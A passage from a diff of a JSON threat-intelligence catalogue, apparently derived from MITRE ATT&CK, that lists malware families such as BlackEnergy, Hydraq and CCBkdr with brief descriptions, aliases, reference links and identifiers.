"HIDEDRV - S0135", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0135", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", - "http://www.sekoia.fr/blog/wp-content/uploads/2016/10/Rootkit-analysis-Use-case-on-HIDEDRV-v1.6.pdf" - ], - "synonyms": [ - "HIDEDRV" - ] - }, - "uuid": "e669bb87-f773-4c7b-bfcc-a9ffebfdd8d4" - }, - { - "description": "Mis-Type is a backdoor hybrid that was used by Dust Storm in 2012. (Citation: Cylance Dust Storm)\n\nAliases: Mis-Type", - "value": "Mis-Type - S0084", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0084", - "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf" - ], - "synonyms": [ - "Mis-Type" - ] - }, - "uuid": "e1161124-f22e-487f-9d5f-ed8efc8dcd61" - }, - { - "description": "Hikit is malware that has been used by (Citation: Axiom) for late-stage persistence and exfiltration after the initial compromise. (Citation: Axiom)\n\nAliases: Hikit", - "value": "Hikit - S0009", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0009", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf" - ], - "synonyms": [ - "Hikit" - ] - }, - "uuid": "95047f03-4811-4300-922e-1ba937d53a61" - }, - { - "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)\n\nAliases: ASPXSpy, ASPXTool", - "value": "ASPXSpy - S0073", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0073", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" - ], - "synonyms": [ - "ASPXSpy", - "ASPXTool" - ] - }, - "uuid": "56f46b17-8cfa-46c0-b501-dd52fef394e2" - }, - { - "description": "is a Web shell that has been used by APT34. (Citation: FireEye APT34 Webinar Dec 2017)\n\nAliases: SEASHARPEE", - "value": "SEASHARPEE - S0185", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0185", - "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" - ], - "synonyms": [ - "SEASHARPEE" - ] - }, - "uuid": "0998045d-f96e-4284-95ce-3c8219707486" - }, - { - "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)\n\nAliases: Sykipot", - "value": "Sykipot - S0018", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0018", - "https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards", - "http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments" - ], - "synonyms": [ - "Sykipot" - ] - }, - "uuid": "6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9" - }, - { - "description": "is a backdoor Trojan; its main functionality is to download and run second stage malware. (Citation: ClearSky Charming Kitten Dec 2017)\n\nAliases: DownPaper", - "value": "DownPaper - S0186", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0186", - "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf" - ], - "synonyms": [ - "DownPaper" - ] - }, - "uuid": "e48df773-7c95-4a4c-ba70-ea3d15900148" - }, - { - "description": "is a custom tool used by APT3 to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)\n\nAliases: OSInfo", - "value": "OSInfo - S0165", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0165", - "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" - ], - "synonyms": [ - "OSInfo" - ] - }, - "uuid": "f6d1d2cb-12f5-4221-9636-44606ea1f3f8" - }, - { - "description": "GLOOXMAIL is malware used by APT1 that mimics legitimate Jabber/XMPP traffic. (Citation: Mandiant APT1)\n\nAliases: GLOOXMAIL, Trojan.GTALK", - "value": "GLOOXMAIL - S0026", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0026", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" - ], - "synonyms": [ - "GLOOXMAIL", - "Trojan.GTALK" - ] - }, - "uuid": "f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2" - }, - { - "description": "Emissary is a Trojan that has been used by Lotus Blossom. It shares code with Elise, with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)\n\nAliases: Emissary", - "value": "Emissary - S0082", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0082", - "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" - ], - "synonyms": [ - "Emissary" - ] - }, - "uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1" - }, - { - "description": "Miner-C is malware that mines victims for the Monero cryptocurrency. It has targeted FTP servers and Network Attached Storage (NAS) devices to spread. (Citation: Softpedia MinerC)\n\nAliases: Miner-C, Mal/Miner-C, PhotoMiner", - "value": "Miner-C - S0133", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0133", - "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" - ], - "synonyms": [ - "Miner-C", - "Mal/Miner-C", - "PhotoMiner" - ] - }, - "uuid": "17dec760-9c8f-4f1b-9b4b-0ac47a453234" - }, - { - "description": " (Citation: DustySky) is multi-stage malware written in .NET that has been used by Molerats since May 2015. (Citation: DustySky) (Citation: DustySky)2\n\nAliases: (Citation: DustySky), NeD Worm", - "value": "DustySky - S0062", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0062" - ], - "synonyms": [ - "DustySky", - "NeD Worm" - ] - }, - "uuid": "687c23e4-4e25-4ee7-a870-c5e002511f54" - }, - { - "description": "BUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)\n\nAliases: BUBBLEWRAP, Backdoor.APT.FakeWinHTTPHelper", - "value": "BUBBLEWRAP - S0043", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0043", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" - ], - "synonyms": [ - "BUBBLEWRAP", - "Backdoor.APT.FakeWinHTTPHelper" - ] - }, - "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b" - }, - { - "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)\n\nAliases: pngdowner", - "value": "pngdowner - S0067", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0067", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "synonyms": [ - "pngdowner" - ] - }, - "uuid": "800bdfba-6d66-480f-9f45-15845c05cb5d" - }, - { - "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants. (Citation: Baumgartner Naikon 2015)\n\nAliases: SslMM", - "value": "SslMM - S0058", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0058", - "https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf" - ], - "synonyms": [ - "SslMM" - ] - }, - "uuid": "2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421" - }, - { - "description": "Nidiran is a custom backdoor developed and used by Suckfly. It has been delivered via strategic web compromise. (Citation: Symantec Suckfly March 2016)\n\nAliases: Nidiran, Backdoor.Nidiran", - "value": "Nidiran - S0118", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0118", - "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" - ], - "synonyms": [ - "Nidiran", - "Backdoor.Nidiran" - ] - }, - "uuid": "9e9b9415-a7df-406b-b14d-92bfe6809fbe" - }, - { - "description": "Trojan.Mebromi is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)\n\nAliases: Trojan.Mebromi", - "value": "Trojan.Mebromi - S0001", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0001", - "http://www.symantec.com/connect/blogs/bios-threat-showing-again" - ], - "synonyms": [ - "Trojan.Mebromi" - ] - }, - "uuid": "c5e9cb46-aced-466c-85ea-7db5572ad9ec" - }, - { - "description": "OwaAuth is a Web shell and credential stealer deployed to Microsoft Exchange servers that appears to be exclusively used by Threat Group-3390. (Citation: Dell TG-3390)\n\nAliases: OwaAuth", - "value": "OwaAuth - S0072", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0072", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/" - ], - "synonyms": [ - "OwaAuth" - ] - }, - "uuid": "a60657fa-e2e7-4f8f-8128-a882534ae8c5" - }, - { - "description": "ROCKBOOT is a Bootkit that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)\n\nAliases: ROCKBOOT", - "value": "ROCKBOOT - S0112", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0112", - "https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html" - ], - "synonyms": [ - "ROCKBOOT" - ] - }, - "uuid": "cba78a1c-186f-4112-9e6a-be1839f030f7" - }, - { - "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: OnionDuke", - "value": "OnionDuke - S0052", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0052", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "OnionDuke" - ] - }, - "uuid": "b136d088-a829-432c-ac26-5529c26d4c7e" - }, - { - "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)\n\nAliases: LOWBALL", - "value": "LOWBALL - S0042", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0042", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" - ], - "synonyms": [ - "LOWBALL" - ] - }, - "uuid": "2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b" - }, - { - "description": "BLACKCOFFEE is malware that has been used by APT17 since at least 2013. (Citation: FireEye APT17)\n\nAliases: BLACKCOFFEE", - "value": "BLACKCOFFEE - S0069", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0069", - "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" - ], - "synonyms": [ - "BLACKCOFFEE" - ] - }, - "uuid": "d69c8146-ab35-4d50-8382-6fc80e641d43" - }, - { - "description": "Derusbi is malware used by multiple Chinese APT groups. (Citation: Axiom) (Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed. (Citation: Fidelis Turbo)\n\nAliases: Derusbi", - "value": "Derusbi - S0021", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0021", - "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf", - "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/", - "https://www.fidelissecurity.com/sites/default/files/TA%20Fidelis%20Turbo%201602%200.pdf" - ], - "synonyms": [ - "Derusbi" - ] - }, - "uuid": "94379dec-5c87-49db-b36e-66abc0b81344" - }, - { - "description": "RawPOS is a point-of-sale (POS) malware family that searches for cardholder data on victims. It has been in use since at least 2008. (Citation: Kroll RawPOS Jan 2017) (Citation: TrendMicro RawPOS April 2015) (Citation: Visa RawPOS March 2015) FireEye divides RawPOS into three components: FIENDCRY, DUEBREW, and DRIFTWOOD. (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)\n\nAliases: RawPOS, FIENDCRY, DUEBREW, DRIFTWOOD\n\nContributors: Walker Johnson", - "value": "RawPOS - S0169", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0169", - "https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf", - "https://www.youtube.com/watch?v=fevGZs0EQu8", - "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" - ], - "synonyms": [ - "RawPOS", - "FIENDCRY", - "DUEBREW", - "DRIFTWOOD" - ] - }, - "uuid": "9752aef4-a1f3-4328-929f-b64eb0536090" - }, - { - "description": "Epic is a backdoor that has been used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal", - "value": "Epic - S0091", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0091", - "https://securelist.com/the-epic-turla-operation/65545/" - ], - "synonyms": [ - "Epic", - "Tavdig", - "Wipbot", - "WorldCupSec", - "TadjMakhal" - ] - }, - "uuid": "6b62e336-176f-417b-856a-8552dd8c44e1" - }, - { - "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)\n\nAliases: Lurid, Enfal", - "value": "Lurid - S0010", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0010", - "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp%20dissecting-lurid-apt.pdf" - ], - "synonyms": [ - "Lurid", - "Enfal" - ] - }, - "uuid": "251fbae2-78f6-4de7-84f6-194c727a64ad" - }, - { - "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)\n\nAliases: 3PARA RAT", - "value": "3PARA RAT - S0066", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0066", - "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" - ], - "synonyms": [ - "3PARA RAT" - ] - }, - "uuid": "7bec698a-7e20-4fd3-bb6a-12787770fb1a" - }, - { - "description": "JHUHUGIT is malware used by APT28. It is based on Carberp source code and serves as reconnaissance malware. (Citation: Kaspersky Sofacy) (Citation: F-Secure Sofacy 2015) (Citation: ESET Sednit Part 1) (Citation: FireEye APT28 January 2017)\n\nAliases: JHUHUGIT, Seduploader, JKEYSKW, Sednit, GAMEFISH", - "value": "JHUHUGIT - S0044", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0044", - "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", - "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/", - "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf", - "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf" - ], - "synonyms": [ - "JHUHUGIT", - "Seduploader", - "JKEYSKW", - "Sednit", - "GAMEFISH" - ] - }, - "uuid": "8ae43c46-57ef-47d5-a77a-eebb35628db2" - }, - { - "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. (Citation: FireEye EPS Awakens Part 2)\n\nAliases: ELMER", - "value": "ELMER - S0064", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Software/S0064", - "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" - ], - "synonyms": [ - "ELMER" - ] - }, - "uuid": "3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c" - } - ] -} + "name": "Enterprise Attack - Malware", + "type": "mitre-enterprise-attack-malware", + "description": "Name of ATT&CK software", + "version": 4, + "source": "https://github.com/mitre/cti", + "uuid": "fbd79f02-1707-11e8-b1c7-87406102276a", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "OLDBAIT is a credential harvester used by APT28. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: OLDBAIT, Sasfis", + "value": "OLDBAIT - S0138", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0138", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + ], + "external_id": "S0138", + "synonyms": [ + "OLDBAIT", + "Sasfis" + ] + }, + "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be" + }, + { + "description": "PHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: PHOREAL", + "value": "PHOREAL - S0158", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0158", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + ], + "external_id": "S0158", + "synonyms": [ + "PHOREAL" + ] + }, + "uuid": "f6ae7a52-f3b6-4525-9daf-640c083f006e" + }, + { + "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina", + "value": "CosmicDuke - S0050", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0050", + "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" + ], + "external_id": "S0050", + "synonyms": [ + "CosmicDuke", + "TinyBaron", + "BotgenStudios", + "NemesisGemina" + ] + }, + "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee" + }, + { + "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)\n\nAliases: H1N1", + "value": "H1N1 - S0132", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0132", + "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities" + ], + "external_id": "S0132", + "synonyms": [ + "H1N1" + ] + }, + "uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd" + }, + { + "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: SPACESHIP", + "value": "SPACESHIP - S0035", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0035", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "external_id": "S0035", + "synonyms": [ + "SPACESHIP" + ] + }, + "uuid": "8b880b41-5139-4807-baa9-309690218719" + }, + { + "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION. (Citation: Fidelis Hi-Zor)\n\nAliases: Hi-Zor", + "value": "Hi-Zor - S0087", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0087", + "http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html" + ], + "external_id": "S0087", + "synonyms": [ + "Hi-Zor" + ] + }, + "uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc" + }, + { + "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017. (Citation: FireEye FIN7 March 2017)\n\nAliases: DNSMessenger, TEXTMATE", + "value": "TEXTMATE - S0146", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0146", + "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" + ], + "external_id": "S0146", + "synonyms": [ + "DNSMessenger", + "TEXTMATE" + ] + }, + "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47" + }, + { + "description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler. (Citation: Cylance Cleaver)\n\nAliases: Net Crawler, NetC", + "value": "Net Crawler - S0056", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0056", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf" + ], + "external_id": "S0056", + "synonyms": [ + "Net Crawler", + "NetC" + ] + }, + "uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704" + }, + { + "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)\n\nAliases: BlackEnergy, Black Energy", + "value": "BlackEnergy - S0089", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0089", + "https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf" + ], + "external_id": "S0089", + "synonyms": [ + "BlackEnergy", + "Black Energy" + ] + }, + "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4" + }, + { + "description": " (Citation: XAgentOSX) is a trojan that has been used by APT28 on OS X and appears to be a port of their standard CHOPSTICK or XAgent trojan. (Citation: XAgentOSX)\n\nAliases: (Citation: XAgentOSX)", + "value": "XAgentOSX - S0161", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0161", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + ], + "external_id": "S0161", + "synonyms": [ + "XAgentOSX" + ] + }, + "uuid": "59a97b15-8189-4d51-9404-e1ce8ea4a069" + }, + { + "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group. (Citation: Palo Alto DNS Requests)\n\nAliases: Pisloader", + "value": "Pisloader - S0124", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0124", + "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + ], + "external_id": "S0124", + "synonyms": [ + "Pisloader" + ] + }, + "uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236" + }, + { + "description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it. (Citation: Symantec Dragonfly)\n\nAliases: Backdoor.Oldrea, Havex", + "value": "Backdoor.Oldrea - S0093", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0093", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf" + ], + "external_id": "S0093", + "synonyms": [ + "Backdoor.Oldrea", + "Havex" + ] + }, + "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974" + }, + { + "description": "is a custom JavaScript backdoor used by Leviathan. (Citation: Proofpoint Leviathan Oct 2017)\n\nAliases: NanHaiShu", + "value": "NanHaiShu - S0228", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0228", + "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + ], + "external_id": "S0228", + "synonyms": [ + "NanHaiShu" + ] + }, + "uuid": "705f0783-5f7d-4491-b6b7-9628e6e006d2" + }, + { + "description": "Starloader is a loader component that has been observed loading Felismus and associated tools. (Citation: Symantec Sowbug Nov 2017)\n\nAliases: Starloader\n\nContributors: Alan Neville, @abnev", + "value": "Starloader - S0188", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0188", + "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + ], + "external_id": "S0188", + "synonyms": [ + "Starloader" + ] + }, + "uuid": "96566860-9f11-4b6f-964d-1c924e4f24a4" + }, + { + "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: ChChes, Scorpion, HAYMAKER", + "value": "ChChes - S0144", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0144", + "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", + "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + ], + "external_id": "S0144", + "synonyms": [ + "ChChes", + "Scorpion", + "HAYMAKER" + ] + }, + "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e" + }, + { + "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)\n\nAliases: Hacking Team UEFI Rootkit", + "value": "Hacking Team UEFI Rootkit - S0047", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0047", + "http://blog.trendmicro.com/trendlabs-security-intelligence/hacking-team-uses-uefi-bios-rootkit-to-keep-rcs-9-agent-in-target-systems/" + ], + "external_id": "S0047", + "synonyms": [ + "Hacking Team UEFI Rootkit" + ] + }, + "uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8" + }, + { + "description": "Hydraq is a data-theft trojan first used by Elderwood in the 2009 Google intrusion known as Operation Aurora, though variations of this trojan have been used in more recent campaigns by other Chinese actors, possibly including APT17. (Citation: MicroFocus 9002 Aug 2016) (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Trojan.Hydraq Jan 2010) (Citation: ASERT Seven Pointed Dagger Aug 2015) (Citation: FireEye DeputyDog 9002 November 2013) (Citation: ProofPoint GoT 9002 Aug 2017) (Citation: FireEye Sunshop Campaign May 2013) (Citation: PaloAlto 3102 Sept 2015)\n\nAliases: Hydraq, Aurora, 9002 RAT", + "value": "Hydraq - S0203", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0203", + "https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ", + "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/connect/blogs/trojanhydraq-incident", + "https://www.arbornetworks.com/blog/asert/wp-content/uploads/2016/01/ASERT-Threat-Intelligence-Brief-2015-08-Uncovering-the-Seven-Point-Dagger.pdf", + "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", + "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", + "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html", + "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/" + ], + "external_id": "S0203", + "synonyms": [ + "Hydraq", + "Aurora", + "9002 RAT" + ] + }, + "uuid": "73a4793a-ce55-4159-b2a6-208ef29b326f" + }, + { + "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)\n\nAliases: httpclient", + "value": "httpclient - S0068", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0068", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + ], + "external_id": "S0068", + "synonyms": [ + "httpclient" + ] + }, + "uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0" + }, + { + "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015. (Citation: ESET Sednit Part 3)\n\nAliases: Downdelph, Delphacy", + "value": "Downdelph - S0134", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0134", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + ], + "external_id": "S0134", + "synonyms": [ + "Downdelph", + "Delphacy" + ] + }, + "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519" + }, + { + "description": "CCBkdr is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)\n\nAliases: CCBkdr", + "value": "CCBkdr - S0222", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0222", + "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html", + "http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/" + ], + "external_id": "S0222", + "synonyms": [ + "CCBkdr" + ] + }, + "uuid": "b0f13390-cec7-4814-b37c-ccec01887faa" + }, + { + "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites. (Citation: Cylance Shell Crew Feb 2017)\n\nAliases: StreamEx", + "value": "StreamEx - S0142", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0142", + "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + ], + "external_id": "S0142", + "synonyms": [ + "StreamEx" + ] + }, + "uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86" + }, + { + "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: Psylo", + "value": "Psylo - S0078", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Software/S0078", + 